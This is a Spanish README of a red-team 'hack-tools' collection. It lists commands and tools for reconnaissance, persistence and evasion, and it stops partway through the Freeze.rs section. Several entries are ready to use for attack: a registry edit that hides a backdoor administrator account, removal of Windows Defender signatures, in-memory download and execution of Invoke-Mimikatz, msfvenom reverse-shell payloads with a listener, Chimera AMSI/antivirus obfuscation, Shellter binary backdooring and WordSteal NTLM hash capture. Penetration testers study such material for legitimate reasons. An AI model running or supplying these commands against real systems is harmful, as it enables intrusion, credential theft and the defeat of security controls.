edu0x01/hack-toolsProyecto que reúne varias herramientas de pentest
Este repositorio contiene una colección de 200+ herramientas y recursos que pueden ser útiles para actividades de red team.
Algunas herramientas pueden estar diseñadas específicamente para red team, mientras que otras son de uso general y pueden adaptarse para su uso en un contexto de red team.
Advertencia
Los materiales en este repositorio son solo para fines informativos y educativos. No están destinados para su uso en actividades ilegales.
Nota
Ocultar los encabezados de la lista de herramientas con la flecha.
Haga clic en 🔙 para volver a la lista.
git submodule update --init --recursive
### Agregar nuevo proyecto```bash
git submodule add https://github.com/example.git
docs: https://git-scm.com/book/en/v2/Git-Tools-Submodules
Aprende de los Red Teamers con una colección de Consejos de Red Teaming. Estos consejos cubren una variedad de tácticas, herramientas y metodologías para mejorar tus habilidades de red teaming.
Nota: Casi todos los consejos son actualmente de @Alh4zr3d, ¡él publica buenos Consejos de Red Team!
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Descripción:** _'Crear cuentas es arriesgado al evadir al equipo azul, pero al crear un administrador local, usa un poco de hechicería en el registro para ocultarlo.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Inutilizar Windows Defender eliminando firmas```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Description: 'Un poco desordenado, pero si Windows Defender te está causando un gran dolor de cabeza, en lugar de deshabilitarlo (lo que alerta al usuario), deberías simplemente neutralizarlo eliminando todas las firmas.'
Credit: @Alh4zr3d
Link: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Descripción:** _'A veces quieres iniciar sesión en un host mediante RDP o similar, pero tu usuario tiene una sesión activa. Habilita múltiples sesiones por usuario.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Alternativa local a Sysinternals PsExec.exe```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Descripción: '¿Estás cansado de subir Sysinternals PsExec.exe al realizar movimiento lateral? Windows tiene una mejor alternativa preinstalada. Prueba esto en su lugar.'
Crédito: @GuhnooPlusLinux
Enlace: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Descripción:** _'Cuando sea posible, vive de la tierra en lugar de subir herramientas a las máquinas (por muchas razones). PowerShell/.NET ayuda. Ej: escáner de puertos simple en PowerShell.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy aware PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Descripción: 'La mayoría de las grandes organizaciones utilizan proxies web hoy en día. La cuna de descarga estándar de PowerShell no es consciente del proxy. Usa esta.'
Crédito: @Alh4zr3d
Enlace: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Descripción:** _'Te sorprendería lo que puedes descubrir solo con los marcadores de un usuario. Puntos de acceso internos a los que pueden acceder, por ejemplo.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)Consultar registros DNS para enumeración```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Descripción: 'La enumeración es el 95% del juego. Sin embargo, lanzar toneladas de escaneos para evaluar el entorno es muy ruidoso. ¿Por qué no simplemente preguntar al servidor DC/DNS por todos los registros DNS?'
Crédito: @Alh4zr3d
Enlace: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Descripción:** _'Encontrar rutas de servicio sin comillas sin PowerUp'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Evitar un símbolo del sistema deshabilitado con /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Descripción: 'Este símbolo del sistema ha sido deshabilitado por su administrador...' Generalmente se puede ver en entornos como PCs de quioscos, una solución rápida y poco ortodoxa es usar /k a través del cuadro de ejecución de Windows. Esto ejecutará el comando y luego mostrará el mensaje de restricción, permitiendo la ejecución de comandos.
Crédito: Martin Sohn Christensen
Enlace: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Descripción:** _'¿Estás cansado de que Windows Defender elimine mimikatz.exe? Prueba esto en su lugar.'_
**Crédito:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Enlace:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Comprueba si estás en una máquina virtual```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Descripción: '¿Quieres saber si estás en una Máquina Virtual? ¡Consulta las claves del registro y descúbrelo! Si aparece algún resultado, estás en una Máquina Virtual.'
Crédito: @dmcxblue
Enlace: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Descripción:** _'AppLocker puede ser un dolor. Enumera para ver cuán doloroso es'_
**Créditos:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Enlace:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
# Reconocimiento
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
He preparado un one-liner de bash que:
- Recopila pasivamente una lista de subdominios a partir de asociaciones de certificados ([crt.sh](https://crt.sh/))
- Solicita activamente cada subdominio para verificar su existencia ([httprobe](https://github.com/tomnomnom/httprobe))
- Captura activamente una captura de pantalla de cada subdominio para revisión manual ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Uso:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Nota: Debes tener httprobe, pup y EyeWitness instalados y cambiar 'DOMAIN_COM' por el dominio objetivo. Puedes ejecutar este script concurrentemente en ventanas de terminal si tienes múltiples dominios raíz objetivo.
Un bookmarklet de JavaScript para extraer todos los enlaces de endpoint de una página web.
Creado por @renniepak, este fragmento de código JavaScript se puede usar para extraer todos los endpoints (que comienzan con /) del DOM de la página web actual, incluyendo todas las fuentes de scripts externos incrustados en la página.```javascript
javascript: (function () {
var scripts = document.getElementsByTagName("script"),
regex = /(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;
const results = new Set();
for (var i = 0; i < scripts.length; i++) {
var t = scripts[i].src;
"" != t &&
fetch(t)
.then(function (t) {
return t.text();
})
.then(function (t) {
var e = t.matchAll(regex);
for (let r of e) results.add(r[0]);
})
.catch(function (t) {
console.log("An error occurred: ", t);
});
}
var pageContent = document.documentElement.outerHTML,
matches = pageContent.matchAll(regex);
for (const match of matches) results.add(match[0]);
function writeResults() {
results.forEach(function (t) {
document.write(t + "
");
});
}
setTimeout(writeResults, 3e3);
})();
**Uso (Bookmarklet)**
Crea un marcador...
- `Haz clic derecho en tu barra de marcadores`
- `Haz clic en 'Añadir página'`
- `Pega el Javascript anterior en el cuadro 'url'`
- `Haz clic en 'Guardar'`
...luego visita la página víctima en el navegador y haz clic en el marcador.
**Uso (Consola)**
Pega el Javascript anterior en la ventana de la consola `F12` y presiona Enter.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Escáner de vulnerabilidades rápido que utiliza plantillas .yaml para buscar problemas específicos.
**Instalación:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Uso:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates.git)
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">Lista de plantillas seleccionadas por la comunidad para el motor nuclei con el fin de encontrar vulnerabilidades de seguridad en aplicaciones.</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentación</a> •
<a href="#-contributions">Contribuciones</a> •
<a href="#-discussion">Discusión</a> •
<a href="#-community">Comunidad</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">Preguntas frecuentes</a> •
<a href="https://discord.gg/projectdiscovery">Unirse a DC</a>
</p>
---
Las plantillas son el núcleo del [escáner nuclei](https://github.com/projectdiscovery/nuclei) que impulsa el motor de escaneo real.
Este repositorio almacena y alberga varias plantillas para el escáner proporcionadas por nuestro equipo, así como aportadas por la comunidad.
Esperamos que también contribuyas enviando plantillas mediante **pull requests** o [issues de Github](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) para hacer crecer la lista.
## Resumen de Nuclei Templates
Una visión general del proyecto de plantillas nuclei, incluyendo estadísticas sobre etiquetas únicas, autor, directorio, severidad y tipo de plantillas. La tabla a continuación contiene las diez principales estadísticas para cada matriz; una versión ampliada de esto está [disponible aquí](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.md), y también disponible en formato [JSON](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.json) para integración.
<table>
<tr>
<td>
## Estadísticas Top 10 de Nuclei Templates
| ETIQUETA | CONTEO | AUTOR | CONTEO | DIRECTORIO | CONTEO | SEVERIDAD | CONTEO | TIPO | CONTEO |
| --------- | ------ | ------------ | ------ | ------------------- | ------ | --------- | ------ | ---- | ------ |
| cve | 1855 | dhiyaneshdk | 835 | http | 5860 | info | 2857 | file | 123 |
| panel | 896 | dwisiswant0 | 794 | workflows | 190 | high | 1270 | dns | 18 |
| wordpress | 781 | daffainfo | 664 | file | 123 | medium | 1042 | | |
| exposure | 677 | pikpikcu | 353 | network | 93 | critical | 704 | | |
| wp-plugin | 672 | pdteam | 278 | dns | 18 | low | 216 | | |
| xss | 646 | pussycat0x | 240 | ssl | 12 | unknown | 26 | | |
| osint | 639 | geeknik | 220 | headless | 9 | | | | |
| tech | 602 | ricardomaia | 215 | TEMPLATES-STATS.json | 1 | | | | |
| edb | 596 | ritikchaddha | 210 | contributors.json | 1 | | | | |
| lfi | 548 | 0x_akoko | 179 | cves.json | 1 | | | | |
**404 directorios, 6542 archivos**.
</td>
</tr>
</table>
## 📖 Documentación
Por favor, navega a https://nuclei.projectdiscovery.io para obtener documentación detallada para **construir** plantillas nuevas o **personalizadas**.
También hemos añadido un conjunto de plantillas para ayudarte a entender cómo funcionan las cosas.
## 💪 Contribuciones
Nuclei-templates está impulsado por importantes contribuciones de la comunidad.
Las [contribuciones de plantillas](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [solicitudes de funciones](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) e [informes de errores](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) son más que bienvenidos.
## 💬 Discusión
¿Tienes preguntas / dudas / ideas para discutir?
Siéntete libre de abrir una discusión en el tablero de [discusiones de Github](https://github.com/projectdiscovery/nuclei-templates/discussions).
## 👨💻 Comunidad
Estás invitado a unirte a la activa [Comunidad de Discord](https://discord.gg/projectdiscovery) para discutir directamente con los mantenedores del proyecto y compartir cosas con otros sobre seguridad y automatización.
Adicionalmente, puedes seguirnos en [Twitter](https://twitter.com/pdnuclei) para estar al tanto de todo lo relacionado con Nuclei.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
Gracias de nuevo por tu contribución por mantener esta comunidad vibrante. :heart:
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff es un monitor de palabras clave de registros de transparencia de certificados que escribí en Python. Utiliza la biblioteca certstream para observar registros de creación de certificados que contengan palabras clave, definidas en un archivo.
Puedes poner esto en funcionamiento con varias palabras clave relacionadas con tu dominio víctima; cualquier creación de certificado será registrada y puede llevar al descubrimiento de dominios que antes desconocías.
**Instalación:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Uso:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Buena herramienta para forzar rutas de archivos/carpetas en un sitio web víctima.
**Instalación:**```bash
sudo apt install gobuster
Uso:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Una herramienta diseñada para realizar Forced Browsing, un ataque cuyo objetivo es enumerar y acceder a recursos que no están referenciados por la aplicación web, pero que aún son accesibles por un atacante.
Feroxbuster utiliza fuerza bruta combinada con una wordlist para buscar contenido no enlazado en directorios objetivo. Estos recursos pueden almacenar información sensible sobre aplicaciones web y sistemas operativos, como código fuente, credenciales, direccionamiento de red interna, etc.
**Instalación: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Instalar: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Instalación: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Para instrucciones completas de instalación, consulta aquí.
Uso:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Los ejemplos completos de uso se pueden encontrar [aquí](https://epi052.github.io/feroxbuster-docs/docs/examples/).
_Imagen utilizada de https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif_
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores de la nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Características:
- Detección de la nube (API de IPINFO y Código fuente)
- Rápido (concurrente)
- Multiplataforma (Windows, Linux, Mac)
- Aleatorización de User-Agent
- Aleatorización de Proxy (HTTP, Socks5)
**Instalación:**
Descarga la última [versión](https://github.com/0xsha/CloudBrute/releases) para tu sistema y sigue las instrucciones de uso.
**Uso:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Imagen utilizada de https://github.com/0xsha/CloudBrute
dnsrecon es una herramienta pyhton para enumerar registros DNS (MX, SOA, NS, A, AAAA, SPF y TXT) y puede proporcionar una serie de nuevos hosts víctimas asociados desde los cuales pivotar a partir de una búsqueda de un solo dominio.
Instalación:```bash sudo apt install dnsrecon
**Uso:**```bash
dnsrecon -d google.com
Shodan rastrea la infraestructura pública y la muestra en un formato buscable. Utilizando un nombre de empresa, nombre de dominio o dirección IP es posible descubrir sistemas potencialmente vulnerables relacionados con tu objetivo a través de shodan.
Herramienta para enumerar subdominios, enumerar DNS, detección de WAF, WHOIS, escaneo de puertos, wayback machine, recolección de correos electrónicos.
Instalación:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Uso:**```python
python3 AORT.py -d google.com
Un programa que comprueba si un dominio puede ser suplantado. El programa revisa los registros SPF y DMARC en busca de configuraciones débiles que permitan la suplantación. Además, alertará si el dominio tiene una configuración DMARC que envía correos o solicitudes HTTP en correos electrónicos que fallan en SPF/DKIM.
Los dominios son suplantables si se cumple alguna de las siguientes condiciones:
~all o -allp=none o no existeInstalación:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Uso:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump es una herramienta para enumerar rápidamente los buckets de AWS S3 y buscar archivos interesantes. Es similar a un bruteforcer de subdominios pero está hecho específicamente para buckets S3 y también tiene algunas características adicionales que te permiten hacer grep de archivos, así como descargar archivos interesantes.
Instalación:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Uso:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Buena herramienta para encontrar información de GitHub con expresiones regulares, con la capacidad de buscar usuarios y/o proyectos específicos de GitHub.
Instalación:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Uso:**```
./githarvester.py
TruffleHog es una herramienta que escanea repositorios git y busca cadenas de alta entropía y patrones que puedan indicar la presencia de secretos, como contraseñas y claves API. Con TruffleHog, puedes encontrar de manera rápida y sencilla información sensible que pueda haber sido confirmada y subida accidentalmente a un repositorio.
Instalación (Binarios): Enlace
Instalación (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Uso:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap es una herramienta de descubrimiento e identificación de activos. Puede identificar rápidamente protocolos e información de huellas digitales como web/tcp/udp, localizar tipos de activos, y es adecuada para redes internas y externas.
Dismap cuenta con una base completa de reglas de huellas digitales, que actualmente incluye huellas digitales de protocolos tcp/udp/tls y más de 4500 reglas de huellas digitales web, capaces de identificar favicon, body, header, etc.
Instalación:
Dismap es un archivo binario para Linux, MacOS y Windows. Ve a Release para descargar la versión correspondiente y ejecutar:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Uso:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Imagen utilizada de https://github.com/zhzyker/dismap
Una herramienta para enumerar información de sistemas Windows y Samba.
Se puede usar para recopilar una amplia gama de información, incluyendo:
Instalación: (Apt)```bash sudo apt install enum4linux
**Instalar: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Uso:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
La información completa de uso se puede encontrar en este [blog](https://labs.portcullis.co.uk/tools/enum4linux/).
_Imagen usada de https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/_
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Escáner de dns/red/puertos peligrosamente rápido, creado por [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), escrito en rust.
Necesitarás un archivo de subdominios. _Ej. [Lista de palabras de subdominios de Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)_.
**Instalación:**
Descarga la última versión desde [aquí](https://github.com/Esc4iCEscEsc/skanuvaty/releases).```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Uso:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
_Imagen utilizada de https://github.com/Esc4iCEscEsc/skanuvaty_
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor es una herramienta de inteligencia, cuyo objetivo es realizar tareas OSINT y más, pero sin necesidad de ninguna clave API.
**Características principales:**
- Buscar información sobre direcciones IP, ASN y organizaciones.
- Wrapper para ejecutar rustscan, masscan y nmap de manera más eficiente en IP/CIDR.
- Encontrar más dominios relacionados con el objetivo aplicando diversas técnicas (certificado, whois, Google Analytics, etc.).
- Obtener un resumen sobre la dirección IP (impulsado por [@thebl4ckturtle](https://github.com/theblackturtle))
**Instalación:**```bash
go install github.com/j3ssie/metabigor@latest
Uso:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
_Imagen usada de https://github.com/j3ssie/metabigor_
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob es una herramienta para ayudar a encontrar archivos potencialmente sensibles enviados a repositorios públicos en Github.
Gitrob clonará repositorios pertenecientes a un usuario u organización hasta una profundidad configurable e iterará a través del historial de commits y marcará archivos que coincidan con firmas de archivos potencialmente sensibles.
Los hallazgos se presentarán a través de una interfaz web para una fácil navegación y análisis.
**Nota:** _Gitrob necesitará un token de acceso de Github para interactuar con la API de Github. [Crea un token de acceso personal](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) y guárdalo en una variable de entorno en tu .bashrc o archivo de configuración de shell similar:_```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Instalar: (Go)```bash go get github.com/michenriksen/gitrob
**Instalar: (Binario)**
Hay una [versión precompilada](https://github.com/michenriksen/gitrob/releases) disponible para cada versión.
**Uso:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Imagen utilizada de https://www.uedbox.com/post/58828/
Gowitness es una utilidad de captura de pantalla de sitios web escrita en Golang, que utiliza Chrome Headless para generar capturas de pantalla de interfaces web desde la línea de comandos, con un práctico visor de informes para procesar los resultados. Se admite tanto Linux como macOS, y el soporte para Windows funciona en su mayoría.
Instalación: (Go)```bash go install github.com/sensepost/gowitness@latest
Puede encontrar información completa de instalación [aquí](https://github.com/sensepost/gowitness/wiki/Installation).
**Uso:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
La información completa de uso se encuentra aquí.
Imagen tomada de https://github.com/sensepost/gowitness
Chimera es un script de ofuscación de PowerShell diseñado para evadir AMSI y soluciones antivirus. Procesa archivos PS1 maliciosos conocidos por activar el AV y utiliza sustitución de cadenas y concatenación de variables para eludir las firmas de detección comunes.
Instalación:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**Uso:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
Msfvenom permite la creación de payloads para varios sistemas operativos en una amplia gama de formatos. También admite la ofuscación de payloads para eludir el AV.
Configurar el Listener```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Comandos de Msfvenom
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Shellter es una herramienta dinámica de inyección de shellcode, y el primer infectador PE verdaderamente dinámico jamás creado.
Se puede utilizar para inyectar shellcode en aplicaciones nativas de Windows (actualmente solo aplicaciones de 32 bits).
Shellter aprovecha la estructura original del archivo PE y no aplica ninguna modificación como cambiar los permisos de acceso a la memoria en las secciones (a menos que el usuario lo desee), agregar una sección adicional con acceso RWE, y cualquier cosa que parecería sospechosa bajo un escaneo de AV.
La información completa del README se puede encontrar aquí.
Instalación: (Kali)```bash apt-get update apt-get install shellter
**Instalación: (Windows)**
Visita la [página de descarga](https://www.shellterproject.com/download/) e instala.
**Uso:**
Simplemente elige un binario legítimo para backdoor y ejecuta Shellter.
Algunos buenos consejos se pueden encontrar [aquí](https://www.shellterproject.com/tipstricks/).
Muchas demostraciones de uso de la comunidad se pueden encontrar [aquí](https://www.shellterproject.com/shellter-community-demos/).
_Imagen utilizada de https://www.kali.org/tools/shellter/images/shellter.png_
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
Freeze es una herramienta de creación de payloads utilizada para eludir los controles de seguridad de EDR y ejecutar shellcode de manera sigilosa.
Freeze utiliza múltiples técnicas no solo para eliminar los hooks de Userland de EDR, sino también para ejecutar shellcode de manera que evite otros controles de monitoreo de endpoints.
**Instalación:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
Uso:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)
_Imagen utilizada de https://www.blackhatethicalhacking.com/tools/freeze/_
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
Este script creará un documento de Microsoft Word con una imagen remota, permitiendo la captura de hashes NTML desde un endpoint víctima remoto.
Microsoft Word tiene la capacidad de incluir imágenes desde ubicaciones remotas, incluyendo una imagen remota alojada en un servidor SMB controlado por el atacante. Esto te brinda la oportunidad de escuchar y capturar los hashes NTLM que se envían cuando una víctima autenticada abre el documento de Word y renderiza la imagen.
**Instalación:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
Uso:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n
_Imagen usada de https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/_
---
### [🔙](#tool-list)[Freeze.rs](https://github.com/optiv/Freeze.rs.git)
Si desea obtener más información sobre las técnicas utilizadas en este framework, consulte el blog de SourceZero y la herramienta original.
**Descripción:**
Freeze.rs es una herramienta de creación de payloads utilizada para evadir los controles de seguridad EDR y ejecutar shellcode de manera sigilosa. Freeze.rs utiliza múltiples técnicas no solo para eliminar los hooks de EDR en el espacio de usuario, sino también para ejecutar shellcode de manera que evite otros controles de monitoreo de endpoints.
**Creando un proceso suspendido:**
